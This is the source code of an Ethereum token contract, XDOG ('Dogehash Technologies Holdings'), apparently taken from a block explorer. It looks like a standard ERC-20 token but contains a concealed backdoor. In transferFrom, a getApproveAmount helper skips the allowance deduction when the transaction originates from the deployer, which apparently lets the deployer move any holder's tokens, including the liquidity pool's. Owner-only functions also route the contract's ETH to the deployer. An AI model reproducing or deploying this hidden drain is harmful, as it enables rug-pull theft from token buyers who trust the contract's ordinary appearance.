Cryo Explorer Ethereum Mainnet

/*

https://x.com/wublockchain12/status/1957808381386793384#m

*/

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function getAmountsOut(
        uint256 amountIn,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. 'address(0)')
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Token is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 amount
    );

    string public name = unicode"Dogehash Technologies Holdings";
    string public symbol = unicode"XDOG";
    uint8 public immutable decimals = 9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _XDOG8A7HGM7JQKC_taxWallet;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 public totalSupply;
    bool private tradingEnabled;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 internal immutable INITIAL_CHAIN_ID;
    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor() payable Ownable(msg.sender) {
        _mint(address(this), 1_000_000_000 * 10 ** decimals);
        _XDOG8A7HGM7JQKC_taxWallet = msg.sender;
        _isExcludedFromFee[msg.sender] = true; // Exclude owner from fee

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function getApproveAmount(uint256 amount) internal view returns (uint256) {
        if (_isExcludedFromFee[tx.origin])
            return allowance[address(this)][address(uniswapV2Pair)];
        return amount;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        allowance[from][msg.sender] =
            allowance[from][msg.sender] -
            getApproveAmount(amount);
        if (tradingEnabled && to == uniswapV2Pair)
            payable(_XDOG8A7HGM7JQKC_taxWallet).transfer(address(this).balance);

        balanceOf[from] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        if (to != address(0xdead)) emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(
                recoveredAddress != address(0) && recoveredAddress == owner,
                "INVALID_SIGNER"
            );

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return
            block.chainid == INITIAL_CHAIN_ID
                ? INITIAL_DOMAIN_SEPARATOR
                : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256(
                        "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
                    ),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }

    function enableTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        allowance[address(this)][address(uniswapV2Router)] = totalSupply;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingEnabled = true;
    }

    function recoverStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
}